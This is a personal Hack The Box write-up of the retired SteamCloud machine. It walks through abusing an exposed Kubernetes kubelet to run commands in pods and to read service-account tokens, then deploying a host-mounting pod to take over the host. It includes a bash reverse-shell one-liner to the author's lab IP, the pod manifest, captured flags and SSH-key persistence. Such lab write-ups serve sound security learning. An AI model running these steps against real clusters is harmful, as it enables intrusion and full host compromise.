

595 HTB SteamCloud

[HTB] SteamCloud

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Resources:

- 1. Savitar YouTube walk-through `https://htbmachines.github.io/`
- 2. Kubectl Basics: HackTricks: `https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-basics`
- 3. Kubernetes Enumeration: Hacktricks: `https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration`
- 4. What is a kubelet `https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/`
- 5. kubeletctl `https://github.com/cyberark/kubeletctl`
- 6. Privacy search engine `https://metager.org`
- 7. Privacy search engine `https://ghosterysearch.com/`

View terminal output with color

```
bat -l ruby --paging=never name_of_file -p
```

NOTE: This write-up was done using BlackArch



Synopsis:

```
>>> Note: There was a-lot of kubernetes terminology I had to look up on this box. Which turned out to be very interesting putting it all together.
```

```
-----  
SteamCloud just presents a bunch of Kubernetes-related ports. Without a way to authenticate, I can't do anything with the Kubernetes API. But I also have access to the Kubelet running on one of the nodes (which is the same host), and that gives access to the pods running on that node. I'll get into one and get out the keys necessary to auth to the Kubernetes API. From there, I can spawn a new pod, mounting the host file system into it, and get full access to the host. I'll eventually manage to turn that access into a shell as well. ~0xdf
```

Skill-set:

1. Kubernetes API Enumeration (kubectl)
2. Kubelet API Enumeration (kubeletctl)
3. Command Execution through kubeletctl on the containers
4. Cluster Authentication (ca.crt/token files) with kubectl
5. Creating YAML file for POD creation
6. Executing commands on the new POD
7. Reverse Shell through YAML file while deploying the POD

Basic Recon

1. Ping & whichsystem.py

1. ▷ ping -c 1 10.129.3.18
2. ▷ whichsystem.py 10.129.3.18
[+]==> 10.129.3.18 (ttl -> 63): Linux

2. Nmap

1. I use variables and aliases to make things go faster. For a list of my variables and aliases vist github.com/vorkampfer
 2. ▷ openscan steamcloud.htb
alias openscan='sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oN nmap/openscan.nmap' <<< This is my preliminary scan to grab ports.
 3. ▷ echo \$openportz
23
 3. ▷ sourcez
 4. ▷ echo \$openportz
22,2379,2380,8443,10249,10250,10256
 5. ▷ portzscan \$openportz steamcloud.htb
 6. ▷ bat steamcloud/portzscan.nmap
 7. nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 22,2379,2380,8443,10249,10250,10256 steamcloud.htb
 8. ▷ cat portzscan.nmap | grep '^[0-9]'
- ```
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
2379/tcp open ssl/etcd-client? syn-ack
2380/tcp open ssl/etcd-server? syn-ack
8443/tcp open ssl/http syn-ack Golang net/http server
10249/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
```

openssh (1:7.9p1-10+deb10u2) **Debian Buster**; urgency=medium

### 3. Discovery with Ubuntu Launchpad

1. ▷ launchpad\_updated.sh run  
Enter the path of your nmap scan output file: /home/h@x0r/hackthebox/steamcloud/portzscan.nmap  
  
==> [+] Here is the launchpad OS version.  
openssh (1:7.9p1-10+deb10u2) buster; urgency=medium <<< Debian 10 Buster  
  
==> [+] Here is the Launchpad url it was scrapped from.  
<https://launchpad.net/debian/+source/openssh/1:7.9p1-10+deb10u2>
2. You can also do the same thing with the Apache or nginx version.

### 4. Whatweb

1. ▷ whatweb <https://10.129.3.18:8443>  
<https://10.129.3.18:8443> [403 Forbidden] Country[RESERVED][ZZ], IP[10.129.3.18], UncommonHeaders[audit-id,x-content-type-options,x-kubernetes-pf-flowschema-uid,x-kubernetes-pf-prioritylevel-uid]

# What is Kubernetes

## 5. Port 8443 seems to have an API interface

```
1. {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User \"system:anonymous\" cannot get path \"/nice ports,/Trinity.txt.bak\"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
2. Lets curl this port to see if it is an API
3. ➤ curl -s -X GET "https://10.129.3.18:8443" -k | jq . | sed 's/\\/\\/g' | tr -d '{}[],' | awk '!(($3=="'))' | sed '/^[[[:space:]]*$/d'
kind: Status
apiVersion: v1
metadata:
status: Failure
message: forbidden: \system:anonymous\ cannot get path /\
reason: Forbidden
details:
code: 403
4. Can not get path. Requires authentication. This is Kubernetes api I think.
5. I search 'what is kubernetes'
6. Kubernetes is an open-source container orchestration system for automating software deployment, scaling, and management.
Wikipedia
7. Kubernetes default port is 443
8. I see several references to this minikube.
➤ cat portzscan.nmap | grep -i "kube"
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal
9. So I look it up as well. : minikube is a tool that quickly sets up a local Kubernetes cluster on various platforms. It supports the latest Kubernetes release, multiple container runtimes, advanced features, and common CI environments.
10. I look up "minikube default port"
11. start | minikube
This can be used if you want to make the apiserver available from outside the machine --apiserver-port int The apiserver listening port (default 8443)
12. So minikubes default port is 8443
```

# kubectl

## 6. Kubectl install and usage.

### Kubectl Basics

**Kubectl** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.

```
kubectl version #Get client and server version
kubectl get pod
kubectl get services
kubectl get deployment
kubectl get replicaset
kubectl get secret
kubectl get all
kubectl get ingress
kubectl get endpoints
```

```
1. ➤ sudo pacman -S kubectl
2. ➤ kubectl options
3. ➤ kubectl -s https://10.129.3.18:8443 <<< A bunch of options come up for this package. Lets check out HackTricks and see if there is anything we can use.
4. https://book.hacktricks.xyz/ >>> I press CTRL + k
5. https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-basics
6. Some times the HackTricks in house search filter craps out. I had to use metager.org to find this link for 'kubectl basics hacktricks'
7. ➤ kubectl -s https://10.129.3.18:8443 get pod
Please enter Username: admin
Please enter Password: E0515 11:53:01.265459 255532 memcache.go:265] couldnt get current server API group list: Get "https://10.129.3.18:8443/api?timeout=32s": dial tcp 10.129.3.18:8443: connect: no route to host
^C
8. I try admin:admin and it failed to connect.
9. I look up "what are Kubernetes Pods?"
10. Pods | Kubernetes
Pods are the smallest deployable units of computing that you can create and manage in Kubernetes. A Pod (as in a pod of whales or pea pod) is a group of one or more containers, with shared storage and network resources, and a specification for how to run the containers.
11. There is nothing more we can do with this kubectl interacting with the API on 8443 because we need authentication.
```

7. Lets check out the other ports

```
1. The other ports were
2.
2379/tcp open ssl/etcd-client? syn-ack
2380/tcp open ssl/etcd-server? syn-ack
8443/tcp open ssl/http syn-ack Golang net/http server
10249/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
10256/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
3. I look up "port 2379 Kubernetes"
4. https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/
5. I look up what is "etcd kubernetes"
6. Etcd is an open-source distributed key-value store that is used to store and manage the information that distributed systems need for their operations. It stores the configuration data, state data, and metadata in Kubernetes. The name “etcd”...
7. There is an InfluxDB exploit. I just used it on HTB DevZat. "InfluxDB-Exploit-CVE-2019-20933"
8. I am not sure if we will use it, or if because this is kubernetes it will apply here. Moving on.
9. Lets check out port 10250. I search online for "Kubernetes port 10250"
10. https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
11. The kubelet is the primary "node agent" that runs on each node. It can register the node with the apiserver using one of: the hostname; a flag to override the hostname; or specific logic for a cloud provider.
```

kubeletctl

- #pwn\_kubeletctl\_install\_and\_usage

8. Enumerating the Kubelet using kubeletctl

```
~/hax0rn00b > kubeletctl -s 10.129.216.34 pods
```

| Pods from Kubelet |                                    |             |                         |
|-------------------|------------------------------------|-------------|-------------------------|
|                   | POD                                | NAMESPACE   | CONTAINERS              |
| 1                 | coredns-78fcd69978-d7t8k           | kube-system | coredns                 |
| 2                 | nginx                              | default     | nginx                   |
| 3                 | etcd-steamcloud                    | kube-system | etcd                    |
| 4                 | kube-apiserver-steamcloud          | kube-system | kube-apiserver          |
| 5                 | kube-controller-manager-steamcloud | kube-system | kube-controller-manager |
| 6                 | kube-scheduler-steamcloud          | kube-system | kube-scheduler          |
| 7                 | storage-provisioner                | kube-system | storage-provisioner     |
| 8                 | kube-proxy-bw6j6                   | kube-system | kube-proxy              |

```
1. It is possible to interact with the kubelet using another tool called "kubeletctl"
2. Look up "kubeletctl github"
3. https://github.com/cyberark/kubeletctl
4. All you have to do is use the wget. It will take care of copying over the files to /usr/local etc... You have to be root. Run the wget command as root.
5. [root@blackarch]-[/home/h0x0r/hackthebox/steamcloud]
>>> wget https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
6. Success, it installed itself on blackarch which is pretty cool.
7. > kubeletctl -h
Description:
 kubeletctl is command line utility that implements kubernetes API.
 It also provides scanning for opened kubelet APIs and search for potential RCE on containers.
8. The wget command used to download and install this kubeletctl package is actually very simple. It is just moving the file and giving it executable permissions. It is moving the file to path. I guess they assume '/usr/local/bin' is in your path. That is a common path and it worked for me. Very cool,simple, and effecient wget command. The only caveat is it must be run as root.
9. > kubeletctl -s 10.129.216.34 pods
10. Reading the help menu I add pods because that lists all the pods.
11. > kubeletctl -h | grep pods
```



```
// List all pods from kubelet
```

```
12. SUCCESS it worked.
```



Kubeletctl enumeration of Kubelet continued...

1. Notice in the screen shot of the kubeletctl output that nginx is in 'default' and everything else is in 'kube-system'.
2. First I run scan before running the exec command with Kubeletctl
3. > kubeletctl -s 10.129.216.34 scan

|                               |               |
|-------------------------------|---------------|
| Nodes with opened Kubelet API |               |
|                               | NODE IP       |
| 1                             | 10.129.216.34 |

4. > kubeletctl -s 10.129.216.34 scan rce
5. The output with the + signs will execute code. Aka are vulnerable to remote code execution.

```
~/hax0rn00b > kubeletctl -s 10.129.216.34 scan rce
```

| Node with pods vulnerable to RCE |               |                                    |             |                         |     |
|----------------------------------|---------------|------------------------------------|-------------|-------------------------|-----|
|                                  | NODE IP       | PODS                               | NAMESPACE   | CONTAINERS              | RCE |
|                                  |               |                                    |             |                         | RUN |
| 1                                | 10.129.216.34 | kube-scheduler-steamcloud          | kube-system | kube-scheduler          | -   |
| 2                                |               | storage-provisioner                | kube-system | storage-provisioner     | -   |
| 3                                |               | kube-proxy-bw6j6                   | kube-system | kube-proxy              | +   |
| 4                                |               | coredns-78fcd69978-d7t8k           | kube-system | coredns                 | -   |
| 5                                |               | nginx                              | default     | nginx                   | +   |
| 6                                |               | etcd-steamcloud                    | kube-system | etcd                    | -   |
| 7                                |               | kube-apiserver-steamcloud          | kube-system | kube-apiserver          | -   |
| 8                                |               | kube-controller-manager-steamcloud | kube-system | kube-controller-manager | -   |

Executing commands via Kubeletctl exploit

1. So that means nginx and kube-proxy-bw6j6 are vulnerable to RCE.
2. > kubeletctl -s 10.129.216.34 -p nginx -c nginx exec "whoami"  
root
3. You have to type the pod (nginx) and the container (nginx) then exec followed by your payload.
4. > kubeletctl -s 10.129.216.34 -p nginx -c nginx exec "hostname -I"  
172.17.0.3
5. Oh nos we are in a container, but at least we are root of the container.
6. > kubeletctl -s 10.129.216.34 -p nginx -c nginx exec "mount"
7. Lets try for a reverse shell.

# Kubeletctl reverse shell

- `#pwn_kubeletctl_reverse_shell_bash_one_liner`

## 11. Attempting reverse shell using kubeletctl enumeration tool

```
1. > kubeletctl -s 10.129.216.34 -p nginx -c nginx exec "bash -c 'bash -i >& /dev/tcp/10.10.14.24/443 0>&1'"
-i: -c: line 0: unexpected EOF while looking for matching ' '
-i: -c: line 1: syntax error: unexpected end of file
command terminated with exit code 1
2. FAIL
3. LOL, all we need to do is execute bash.
4. > kubeletctl -s 10.129.216.34 -p nginx -c nginx exec "bash"
root@nginx:/# whoami
whoami
root
5. root@nginx:/# stty size
stty size
0 0
6. root@nginx:/# stty rows 34 columns 150
stty rows 34 columns 150
root@nginx:/# stty size
stty size
34 150
7. root@nginx:/# echo $TERM
echo $TERM
xterm
root@nginx:/# tty
tty
/dev/pts/0
root@nginx:/# echo $SHELL
echo $SHELL
/bin/bash
8. Great the shell is already upgraded. Other than the terminal size everything was ready to go.
```

# User Flag found

## 12. User flag found and more enumeration

```
1. > kubeletctl -s 10.129.96.167 -p nginx -c nginx exec "bash"

2. root@nginx:/# cd /root
cd /root
3. root@nginx:~# cat user.txt
cat user.txt
2a4b1eaaa681aea8477cff0de6931b46
```

# Kubernetes Tokens

If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var** `KUBECONFIG` or **inside** `~/.kube` .

In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.

If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:

## Kubernetes Tokens & more enumeration

```
1. https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-enumeration
2. Usually **one** of the directories:

- `/run/secrets/kubernetes.io/serviceaccount`

- `/var/run/secrets/kubernetes.io/serviceaccount`

- `/secrets/kubernetes.io/serviceaccount`
3. root@nginx:~# ls -l /run/secrets/kubernetes.io/serviceaccount
ls -l /run/secrets/kubernetes.io/serviceaccount
total 0
lrwxrwxrwx 1 root root 13 May 15 16:10 ca.crt -> ../data/ca.crt
```

```
lrwxrwxrwx 1 root root 16 May 15 16:10 namespace -> ../data/namespace
lrwxrwxrwx 1 root root 12 May 15 16:10 token -> ../data/token
4. > kubectl -s 10.129.96.167 -p nginx -c nginx exec "ls /run/secrets/kubernetes.io/serviceaccount"
ca.crt namespace token
5. We need to cat out what is in ca.crt
6. > kubectl -s 10.129.96.167 -p nginx -c nginx exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt"
-----BEGIN CERTIFICATE-----
MIIDBJCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDITxMTEyOTYMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBA0oa
YRSqoSUFhAMBK44xLLLuFXNELhJrC/900R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtR0c7QaTR/AUeR1ox09+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQvEIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgY0Ryg99o
1pRrbLrfNk6DE5S9VSUCAwEAAANhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSPrKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAA0CAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8m0Wzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tv1tRCZZS3hiI+sp4Tru5FttsGylbV5sa+w/+2mJJzTjBELMJ/+
9mGEdIpuHqZ15HHYeZ83SQwcj0H0LZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAW0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXLsJw/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQ0YNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
7. > kubectl -s 10.129.96.167 -p nginx -c nginx exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" > ca.crt
8. > kubectl -s 10.129.96.167 -p nginx -c nginx exec "cat /run/secrets/kubernetes.io/serviceaccount/token" > token
```

## Back to kubectl

14. Now instead of using kubectl will be using kubectl because we now have the `ca.crt` and the `token` to interactive with native Kubernetes tools

### Kubectl Basics

`kubectl` is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.

```
kubectl version #Get client and server version
kubectl get pod
kubectl get services
kubectl get deployment
kubectl get replicaset
kubectl get secret
kubectl get all
kubectl get ingress
kubectl get endpoints
```

```
1. > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --
token='eyJhbGciOiJSUzI1NiIsImtpZCI6Ii1TWFc0RHpzOW5qdK9ncllHb2MwSzJmVTZael9KSEkxZHY2N1dYaGJ2'<snip> get pods

NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 87m

2. I cd into the directory where I exfiltrated the ca.crt and token to. Then I just point to the ca.crt file with the --
certificate-authority flag and I cat out the token and paste it into the command as above.
3. I go back to hacktricks to look at the 'basic commands' for kubectl.
4. https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-basics
5. > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --token='eyJhbGciOiJSUzI1NiIsImtpZCI6Ii1TWFc0RHpzOW5qdK9ncllHb2MwSzJmVTZael9KSEkxZHY2N1dYaGJ2'<snip>
get services

Error from server (Forbidden): services is forbidden: User "system:serviceaccount:default:default" cannot list resource "services"
in API group "" in the namespace "default"

6. It does not seem that we can do anything even with the certificate & token authorization. There is this 'auth' flag in the
kubectl --help menu. Lets check it out.
7. If you type auth after the token and then hit tab or space the completions of the aut command come up.
8. <snip>'bA4f9UJmW6Mpg5Q' auth
completions
can-i -- Check whether an action is allowed
reconcile -- Reconciles rules for RBAC role, role binding, cluster role, and cluster role binding objects
whoami -- Experimental: Check self subject attributes
9. auth can-i
error: you must specify two arguments: verb resource or verb resource/resourceName.
See 'kubectl auth can-i -h' for help and examples.
10. I see this, #List all allowed actions in namespace "foo"
kubectl auth can-i --list --namespace=foo
```

```
11. I will just type --list
12. That worked.
13. > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --token='eyJhbGciOiJSUzI1Ni'<snip> auth can-i --list
```

```
~/hax0rn00b/steamcloud > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --token='eyJhbGciOiJSUzI1Ni
1dYaGJ2b0UifQ.eyJhdWQiOi0lsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzQ3MzcxMDYwLCJpYXQiOjE
N2YySjBHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImQ5Y2V
Njb3VudCI6eyJuYW1lIjoizGVmYXVsdCIsInVpZCI6IjU3MGNjM2FhLTNiM2MtNGZiYi04N2FlLWMzYTZkZmMwNjMyZSJ9LCJ3YXJuYWZ0ZXIiOiE3MTU4Mzc
Njb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.W1qr9E5XXZnrGajqrtUaC2AkHlr71HdAerwnNJL7XsEMGiaDkQqeLB9CPb57mfviyu_i9fWJmuKnA4C0g65Fx-5E
XWEYsPn-LRDt_Y7I6Yb6aur4gB5wcnAp1BSA3piJs3rIyD_JjBBeftxhgEXGCeChc4jaP3k01UPaw6tiK7Y033Cl2FvZYAGmaNhRLzpx0-lvfu_Gquu0gf1TZ
bA4f9UJmW6Mpg5Q' auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[] [/.well-known/openid-configuration] [] [get]
[] [/api/*] [] [get]
[] [/api] [] [get]
[] [/apis/*] [] [get]
[] [/apis] [] [get]
[] [/healthz] [] [get]
```

Same concepts as Docker container Privilege Escalation. Except the terminology is different.

### Creating a POD

15. This enumeration is almost identical to when you are trying to escalate privilege in a Docker container. Except this is Kubernetes. We need to first get the required certificates or passwords. Then list the containers, aka PODS with the end goal of creating our own container aka POD so that we can mount `/root` to the container aka POD or `/dev/sda1` whatever the situation dictactes.

```
~ > bat -l YAML --paging=never -p evil.yaml
apiVersion: v1
kind: Pod
metadata:
 name: foo-pod
 namespace: default
spec:
 containers:
 - name: foo-pod
 image: nginx:1.14.2
 volumeMounts:
 - mountPath: /mnt
 name: hostfs
 volumes:
 - name: hostfs
 hostPath:
 path: /
 automountServiceAccountToken: true
 hostNetwork: true
```

```
1. We can get the PODs in yaml output. I will export the yaml to a file.
2. > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --token='eyJhbGciOiJSUzI1'<snip> get pod nginx -o yaml >
evil.yaml
3. If we create our POD correctly we should be able to see it in the table when we list it with kubletctl.
4. > kubeletctl -s 10.129.96.167 pods
5. We need to purge the pod of unnecessary code for our purposes.
6. > cp evil.yaml evil_backup.yaml
7. > vim evil.yaml
8. We will need to completely purge most of the code. You should only be left with the following. I added 'nam:' to containers and
volumes. I also changed the mountPath.
9. Now to add the pod we will still use kubectl which is a native Kubernetes application.
10. > kubectl -s https://10.129.96.167:8443 --certificate-authority=ca.crt --token='eyJhbGciOiJSUzI1NiI'<snip> apply -f evil.yaml
pod/pablo-pod created
11. SUCCESS, we have created a malicious POD.
12. > kubeletctl -s 10.129.96.167 pods
```



1. > kubectl -s 10.129.96.167 scan rce

| Node with pods vulnerable to RCE |               |                                    |             |                         |     |
|----------------------------------|---------------|------------------------------------|-------------|-------------------------|-----|
|                                  | NODE IP       | PODS                               | NAMESPACE   | CONTAINERS              | RCE |
|                                  |               |                                    |             |                         | RUN |
| 1                                | 10.129.96.167 | kube-apiserver-steamcloud          | kube-system | kube-apiserver          | -   |
| 2                                |               | kube-controller-manager-steamcloud | kube-system | kube-controller-manager | -   |
| 3                                |               | nginx                              | default     | nginx                   | +   |
| 4                                |               | coredns-78fcd69978-87fpn           | kube-system | coredns                 | -   |
| 5                                |               | pablo-pod                          | default     | pablo-pod               | +   |

Now we can use whatever Kubernetes exploit tools to take advantage of this malicious pod we created.

```
1. > kubectl -s 10.129.96.167 scan rce
2. > kubectl -s 10.129.96.167 -p pablo-pod -c pablo-pod exec "bash"
root@pablo-pod:/# whoami
whoami
root
3. > kubectl -s 10.129.96.167 -p nginx -c nginx exec "bash"
root@nginx:/# whoami
whoami
root
root@nginx:/# stty rows 40 columns 180
stty rows 40 columns 180
root@nginx:/# cd /mnt
cd /mnt
root@nginx:/mnt# ls -l
ls -l
total 0
4. FAIL, something went wrong. I think I copied the path wrong. I will check out 0xdf to see what he did on this part. I will be back with a fix.
5. It seems that the following 2 lines were left out of my evil.yaml file.
 automountServiceAccountToken: true
 hostNetwork: true
6. So I create foo-pod and add these 2 lines to my yaml file.
7. I decide just to completely copy 0xdf version of the file.

apiVersion: v1
kind: Pod
metadata:
 name: foo-pod
 namespace: default
spec:
 containers:
 - name: foo-pod
 image: nginx:1.14.2
 volumeMounts:
 - mountPath: /mnt
 name: hostfs
 volumes:
 - name: hostfs
 hostPath:
 path: /
 automountServiceAccountToken: true
 hostNetwork: true

8. This time I assign the token blob to a variable $token
9. > token='eyJhbGciOiJSUzI1NiIsImtpZCI6Ii1TWFc0RHpzOW5qd'<snip>
10. > echo $token
11. > kubectl apply -f evil.yaml --server https://10.129.96.167:8443 --certificate-authority=ca.crt --token=$token
pod/foo-pod created
12. > kubectl -s 10.129.96.167 scan rce
13. foo-pod is created and vulnerable.
```


## /mnt foo-pod

17. Now I will try the same thing again but with foo-pod


```
1. ▷ kubeletctl exec "id" -s 10.129.96.167 -p foo-pod -c foo-pod
uid=0(root) gid=0(root) groups=0(root)
2. We are root
3. Now it worked.
4. ▷ kubeletctl exec "ls /mnt/" -s 10.129.96.167 -p foo-pod -c foo-pod
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
5. It was those 2 required missing lines in the evil.yaml file.

 automountServiceAccountToken: true
 hostNetwork: true

6. Just use the evil.yaml above. I will upload it to github.com/vorkampfer/hackthebox
7. And I get the root flag.
8. ▷ kubeletctl exec "cat /mnt/root/root.txt" -s 10.129.96.167 -p foo-pod -c foo-pod
2a3d06c32b99cb7bf6b814c4576ddb89
```



SteamCloud has been Pwned!

Congratulations  therealpablo, best of luck in capturing flags ahead!

|              |             |               |
|--------------|-------------|---------------|
| #2213        | 16 May 2024 | RETIRED       |
| MACHINE RANK | PWN DATE    | MACHINE STATE |

OK

SHARE

## Root interactive shell

### 18. Post Exploitation & comments

```
1. I must admit I was stressing for a second there. I had no idea where I had messed up the Priv Esc portion of this box. I saw the two extra lines in the evil.yaml file and I assumed that was it and luckily i was correct. The privileges for this box has many parts to it. Fun box
2. We would be required in the OSCP not just to get the root flag but to get a root interactive shell and then get the flag. See below.
3. ▷ kubeletctl -s 10.129.96.167 -p foo-pod -c foo-pod exec "bash"
=====
>>> root@steamcloud:/# cd /mnt
cd /mnt
>>> root@steamcloud:/mnt# ls -l
ls -l
total 60
lrwxrwxrwx 1 root root 7 Nov 30 2021 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Nov 30 2021 boot
drwxr-xr-x 16 root root 3080 May 16 03:44 dev
drwxr-xr-x 75 root root 4096 May 16 07:18 etc
drwxr-xr-x 3 root root 4096 Nov 30 2021 home
lrwxrwxrwx 1 root root 31 Nov 30 2021 initrd.img -> boot/initrd.img-4.19.0-18-amd64
lrwxrwxrwx 1 root root 31 Nov 30 2021 initrd.img.old -> boot/initrd.img-4.19.0-14-amd64
lrwxrwxrwx 1 root root 7 Nov 30 2021 lib -> usr/lib
lrwxrwxrwx 1 rootroot 9 Nov 30 2021 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 30 2021 lib64 -> usr/lib64
```

```
lrwxrwxrwx 1 root root 10 Nov 30 2021 libx32 -> usr/libx32
drwx----- 2 root root 16384 Nov 30 2021 lost+found
drwxr-xr-x 3 root root 4096 Nov 30 2021 media
drwxr-xr-x 2 root root 4096 Nov 30 2021 mnt
drwxr-xr-x 5 root root 4096 Jan 10 2022 opt
dr-xr-xr-x 205 root root 0 May 16 03:44 proc
drwx----- 4 root root 4096 May 16 03:45 root
drwxr-xr-x 20 root root 640 May 16 03:45 run
lrwxrwxrwx 1 root root 8 Nov 30 2021 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Nov 30 2021 srv
dr-xr-xr-x 13 root root 0 May 16 03:44 sys
drwxrwxrwt 10 root root 4096 May 16 07:25 tmp
drwxr-xr-x 14 root root 4096 Nov 30 2021 usr
drwxr-xr-x 11 root root 4096 Nov 30 2021 var
lrwxrwxrwx 1 root root 28 Nov 30 2021 vmlinuz -> boot/vmlinuz-4.19.0-18-amd64
lrwxrwxrwx 1 root root 28 Nov 30 2021 vmlinuz.old -> boot/vmlinuz-4.19.0-14-amd64
```

```
>>> root@steamcloud:/mnt# cd root
cd root
```

```
>>> root@steamcloud:/mnt/root# cat root.txt
cat root.txt
```

```
2a3d06c32b99cb7bf6b814c4576ddb89
```

```
=====
```

4. I think this interactive shell would suffice for the OSCP but if you really wanted a real TTY as root you could creatd a ``/root/.ssh/authorized_keys`` and upload you id\_rsa.pub to the authorized\_keys and then ssh as root into the target.
5. To put the key into authorized\_keys file you simply use echo.
6. root@steamcloud:/mnt/root/.ssh> echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADA= root@h0x0r'<snip> > authorized\_keys
7. ssh root@10.129.96.167
8. Done, notice you would not need to give a passphrase or even point to your id\_rsa with the -i flag. It should just let you right in because you have your public key in their ``/root/.ssh/authorized_keys`` file.